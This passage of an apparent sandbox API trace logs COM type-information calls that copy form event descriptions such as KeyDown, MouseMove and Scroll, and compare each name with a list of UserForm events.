ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.091] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x6, ppFuncDesc=0x264338, pDummy=0x5006df02460007 | out: ppFuncDesc=0x264338, pDummy=0x5006df02460007) returned 0x0 [0018.091] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-602, rgBstrNames=0x75748a0, cMaxNames=0x3, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="KeyDown", pcNames=0x264340*=0x3) returned 0x0 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Initialize") returned 2 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Resize") returned -7 [0018.091] _wcsicmp (_String1="KeyDown", _String2="QueryClose") returned -6 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Activate") returned 10 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Deactivate") returned 7 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Terminate") returned -9 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Object") returned -4 [0018.091] _wcsicmp (_String1="KeyDown", _String2="Name") returned -3 [0018.092] _wcsicmp (_String1="KeyDown", _String2="Parent") returned -5 [0018.092] _wcsicmp (_String1="KeyDown", _String2="Delete") returned 7 [0018.092] _wcsicmp (_String1="KeyDown", _String2="Index") returned 2 [0018.092] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553148) returned 0x0 [0018.092] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2643b8, pDummy=0x680 | out: ppTypeAttr=0x2643b8, pDummy=0x680) returned 0x0 [0018.092] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.092] IUnknown:Release (This=0x7553148) returned 0x0 [0018.092] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7553148) returned 0x0 [0018.092] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.092] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.092] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.092] IUnknown:AddRef (This=0x7553148) returned 0x2 [0018.092] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.092] IUnknown:Release (This=0x7553148) returned 0x1 [0018.092] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553148, phRefType=0x264220*=0x0) returned 0x0 [0018.092] IUnknown:Release (This=0x7553148) returned 0x0 [0018.092] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.092] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x6, pFuncDesc=0x74f0e78) returned 0x0 [0018.092] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x6, rgszNames=0x75748a0*="KeyDown", cNames=0x3) returned 0x0 [0018.092] ITypeInfo:GetMops (in: This=0x7552b70, memid=-602, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.092] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-602, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.092] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x6, dwHelpContext=0x1e84f8) returned 0x0 [0018.092] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.092] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x7, ppFuncDesc=0x264338, pDummy=0x82020202c4 | out: ppFuncDesc=0x264338, pDummy=0x82020202c4) returned 0x0 [0018.092] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-603, rgBstrNames=0x75748a0, cMaxNames=0x2, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="KeyPress", pcNames=0x264340*=0x2) returned 0x0 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Initialize") returned 2 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Resize") returned -7 [0018.092] _wcsicmp (_String1="KeyPress", _String2="QueryClose") returned -6 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Activate") returned 10 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Deactivate") returned 7 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Terminate") returned -9 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Object") returned -4 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Name") returned -3 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Parent") returned -5 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Delete") returned 7 [0018.092] _wcsicmp (_String1="KeyPress", _String2="Index") returned 2 [0018.092] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553148) returned 0x0 [0018.092] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.092] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.092] IUnknown:Release (This=0x7553148) returned 0x0 [0018.092] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7553148) returned 0x0 [0018.092] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.092] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.092] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.092] IUnknown:AddRef (This=0x7553148) returned 0x2 [0018.092] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.092] IUnknown:Release (This=0x7553148) returned 0x1 [0018.093] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553148, phRefType=0x264220*=0x75ee008) returned 0x0 [0018.093] IUnknown:Release (This=0x7553148) returned 0x0 [0018.093] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.093] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x7, pFuncDesc=0x74f0e78) returned 0x0 [0018.093] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x7, rgszNames=0x75748a0*="KeyPress", cNames=0x2) returned 0x0 [0018.093] ITypeInfo:GetMops (in: This=0x7552b70, memid=-603, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.093] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-603, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.093] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x7, dwHelpContext=0x1e8502) returned 0x0 [0018.093] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.093] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x8, ppFuncDesc=0x264338, pDummy=0x83020202c4 | out: ppFuncDesc=0x264338, pDummy=0x83020202c4) returned 0x0 [0018.093] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-604, rgBstrNames=0x75748a0, cMaxNames=0x3, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="KeyUp", pcNames=0x264340*=0x3) returned 0x0 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Initialize") returned 2 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Resize") returned -7 [0018.093] _wcsicmp (_String1="KeyUp", _String2="QueryClose") returned -6 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Activate") returned 10 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Deactivate") returned 7 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Terminate") returned -9 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Object") returned -4 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Name") returned -3 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Parent") returned -5 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Delete") returned 7 [0018.093] _wcsicmp (_String1="KeyUp", _String2="Index") returned 2 [0018.093] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553148) returned 0x0 [0018.093] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.093] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.093] IUnknown:Release (This=0x7553148) returned 0x0 [0018.093] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x680, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7553148) returned 0x0 [0018.093] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553148, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.093] ITypeInfo:LocalReleaseTypeAttr (This=0x7553148) returned 0x0 [0018.093] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.093] IUnknown:AddRef (This=0x7553148) returned 0x2 [0018.093] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.093] IUnknown:Release (This=0x7553148) returned 0x1 [0018.093] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553148, phRefType=0x264220*=0x75ee008) returned 0x0 [0018.093] IUnknown:Release (This=0x7553148) returned 0x0 [0018.093] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.093] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x8, pFuncDesc=0x74f0e78) returned 0x0 [0018.093] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x8, rgszNames=0x75748a0*="KeyUp", cNames=0x3) returned 0x0 [0018.093] ITypeInfo:GetMops (in: This=0x7552b70, memid=-604, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.093] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-604, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.093] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x8, dwHelpContext=0x1e850c) returned 0x0 [0018.093] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.093] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x9, ppFuncDesc=0x264338, pDummy=0x84020202c4 | out: ppFuncDesc=0x264338, pDummy=0x84020202c4) returned 0x0 [0018.093] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=770, rgBstrNames=0x7492680, cMaxNames=0x1, pcNames=0x264340 | out: rgBstrNames=0x7492680*="Layout", pcNames=0x264340*=0x1) returned 0x0 [0018.093] _wcsicmp (_String1="Layout", _String2="Initialize") returned 3 [0018.093] _wcsicmp (_String1="Layout", _String2="Resize") returned -6 [0018.093] _wcsicmp (_String1="Layout", _String2="QueryClose") returned -5 [0018.094] _wcsicmp (_String1="Layout", _String2="Activate") returned 11 [0018.094] _wcsicmp (_String1="Layout", _String2="Deactivate") returned 8 [0018.094] _wcsicmp (_String1="Layout", _String2="Terminate") returned -8 [0018.094] _wcsicmp (_String1="Layout", _String2="Object") returned -3 [0018.094] _wcsicmp (_String1="Layout", _String2="Name") returned -2 [0018.094] _wcsicmp (_String1="Layout", _String2="Parent") returned -4 [0018.094] _wcsicmp (_String1="Layout", _String2="Delete") returned 8 [0018.094] _wcsicmp (_String1="Layout", _String2="Index") returned 3 [0018.094] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.094] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x9, pFuncDesc=0x7472a88) returned 0x0 [0018.094] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x9, rgszNames=0x7492680*="Layout", cNames=0x1) returned 0x0 [0018.094] ITypeInfo:GetMops (in: This=0x7552b70, memid=770, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.094] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=770, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.094] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x9, dwHelpContext=0x1e8516) returned 0x0 [0018.094] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.094] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xa, ppFuncDesc=0x264338, pDummy=0x4701720001 | out: ppFuncDesc=0x264338, pDummy=0x4701720001) returned 0x0 [0018.094] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-605, rgBstrNames=0x75edf70, cMaxNames=0x5, pcNames=0x264340 | out: rgBstrNames=0x75edf70*="MouseDown", pcNames=0x264340*=0x5) returned 0x0 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Initialize") returned 4 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Resize") returned -5 [0018.094] _wcsicmp (_String1="MouseDown", _String2="QueryClose") returned -4 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Activate") returned 12 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Deactivate") returned 9 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Terminate") returned -7 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Object") returned -2 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Name") returned -1 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Parent") returned -3 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Delete") returned 9 [0018.094] _wcsicmp (_String1="MouseDown", _String2="Index") returned 4 [0018.094] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.094] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xa, pFuncDesc=0x74f0e78) returned 0x0 [0018.094] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xa, rgszNames=0x75edf70*="MouseDown", cNames=0x5) returned 0x0 [0018.094] ITypeInfo:GetMops (in: This=0x7552b70, memid=-605, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.094] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-605, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.094] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xa, dwHelpContext=0x1e852a) returned 0x0 [0018.094] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.094] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xb, ppFuncDesc=0x264338, pDummy=0x1300620531 | out: ppFuncDesc=0x264338, pDummy=0x1300620531) returned 0x0 [0018.094] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-606, rgBstrNames=0x75edf70, cMaxNames=0x5, pcNames=0x264340 | out: rgBstrNames=0x75edf70*="MouseMove", pcNames=0x264340*=0x5) returned 0x0 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Initialize") returned 4 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Resize") returned -5 [0018.094] _wcsicmp (_String1="MouseMove", _String2="QueryClose") returned -4 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Activate") returned 12 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Deactivate") returned 9 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Terminate") returned -7 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Object") returned -2 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Name") returned -1 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Parent") returned -3 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Delete") returned 9 [0018.094] _wcsicmp (_String1="MouseMove", _String2="Index") returned 4 [0018.095] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.095] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xb, pFuncDesc=0x74f0e78) returned 0x0 [0018.095] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xb, rgszNames=0x75edf70*="MouseMove", cNames=0x5) returned 0x0 [0018.095] ITypeInfo:GetMops (in: This=0x7552b70, memid=-606, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.095] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-606, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.095] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xb, dwHelpContext=0x1e8534) returned 0x0 [0018.095] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.095] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xc, ppFuncDesc=0x264338, pDummy=0x1400620531 | out: ppFuncDesc=0x264338, pDummy=0x1400620531) returned 0x0 [0018.095] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-607, rgBstrNames=0x75edf70, cMaxNames=0x5, pcNames=0x264340 | out: rgBstrNames=0x75edf70*="MouseUp", pcNames=0x264340*=0x5) returned 0x0 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Initialize") returned 4 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Resize") returned -5 [0018.095] _wcsicmp (_String1="MouseUp", _String2="QueryClose") returned -4 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Activate") returned 12 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Deactivate") returned 9 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Terminate") returned -7 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Object") returned -2 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Name") returned -1 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Parent") returned -3 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Delete") returned 9 [0018.095] _wcsicmp (_String1="MouseUp", _String2="Index") returned 4 [0018.095] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.095] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xc, pFuncDesc=0x74f0e78) returned 0x0 [0018.095] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xc, rgszNames=0x75edf70*="MouseUp", cNames=0x5) returned 0x0 [0018.095] ITypeInfo:GetMops (in: This=0x7552b70, memid=-607, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.095] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-607, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.095] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xc, dwHelpContext=0x1e853e) returned 0x0 [0018.095] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.095] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xd, ppFuncDesc=0x264338, pDummy=0x1500620531 | out: ppFuncDesc=0x264338, pDummy=0x1500620531) returned 0x0 [0018.095] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=771, rgBstrNames=0x75748a0, cMaxNames=0x2, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="RemoveControl", pcNames=0x264340*=0x2) returned 0x0 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Initialize") returned 9 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Resize") returned -6 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="QueryClose") returned 1 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Activate") returned 17 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Deactivate") returned 14 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Terminate") returned -2 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Object") returned 3 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Name") returned 4 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Parent") returned 2 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Delete") returned 14 [0018.095] _wcsicmp (_String1="RemoveControl", _String2="Index") returned 9 [0018.095] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552bc8) returned 0x0 [0018.095] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.095] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.095] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.095] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552bc8) returned 0x0 [0018.095] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.095] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.096] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.096] IUnknown:AddRef (This=0x7552bc8) returned 0x2 [0018.096] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.096] IUnknown:Release (This=0x7552bc8) returned 0x1 [0018.096] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552bc8, phRefType=0x264220*=0x75ee098) returned 0x0 [0018.096] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.096] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.096] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xd, pFuncDesc=0x74f0e78) returned 0x0 [0018.096] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xd, rgszNames=0x75748a0*="RemoveControl", cNames=0x2) returned 0x0 [0018.096] ITypeInfo:GetMops (in: This=0x7552b70, memid=771, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.096] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=771, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.096] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xd, dwHelpContext=0x1e8548) returned 0x0 [0018.096] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.096] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xe, ppFuncDesc=0x264338, pDummy=0x85020202c4 | out: ppFuncDesc=0x264338, pDummy=0x85020202c4) returned 0x0 [0018.096] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=772, rgBstrNames=0x7321b60, cMaxNames=0x7, pcNames=0x264340 | out: rgBstrNames=0x7321b60*="Scroll", pcNames=0x264340*=0x7) returned 0x0 [0018.096] _wcsicmp (_String1="Scroll", _String2="Initialize") returned 10 [0018.096] _wcsicmp (_String1="Scroll", _String2="Resize") returned 1 [0018.096] _wcsicmp (_String1="Scroll", _String2="QueryClose") returned 2 [0018.096] _wcsicmp (_String1="Scroll", _String2="Activate") returned 18 [0018.096] _wcsicmp (_String1="Scroll", _String2="Deactivate") returned 15 [0018.096] _wcsicmp (_String1="Scroll", _String2="Terminate") returned -1 [0018.096] _wcsicmp (_String1="Scroll", _String2="Object") returned 4 [0018.096] _wcsicmp (_String1="Scroll", _String2="Name") returned 5 [0018.096] _wcsicmp (_String1="Scroll", _String2="Parent") returned 3 [0018.096] _wcsicmp (_String1="Scroll", _String2="Delete") returned 15 [0018.096] _wcsicmp (_String1="Scroll", _String2="Index") returned 10 [0018.096] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0xb00, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553250) returned 0x0 [0018.096] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553250, ppTypeAttr=0x2643b8, pDummy=0xb00 | out: ppTypeAttr=0x2643b8, pDummy=0xb00) returned 0x0 [0018.096] ITypeInfo:LocalReleaseTypeAttr (This=0x7553250) returned 0x0 [0018.096] IUnknown:Release (This=0x7553250) returned 0x0 [0018.096] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0xb00, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553250) returned 0x0 [0018.096] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553250, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.096] ITypeInfo:LocalReleaseTypeAttr (This=0x7553250) returned 0x0 [0018.096] IUnknown:Release (This=0x7553250) returned 0x0 [0018.096] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x800, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x75532a8) returned 0x0 [0018.096] ITypeInfo:RemoteGetTypeAttr (in: This=0x75532a8, ppTypeAttr=0x2643b8, pDummy=0x800 | 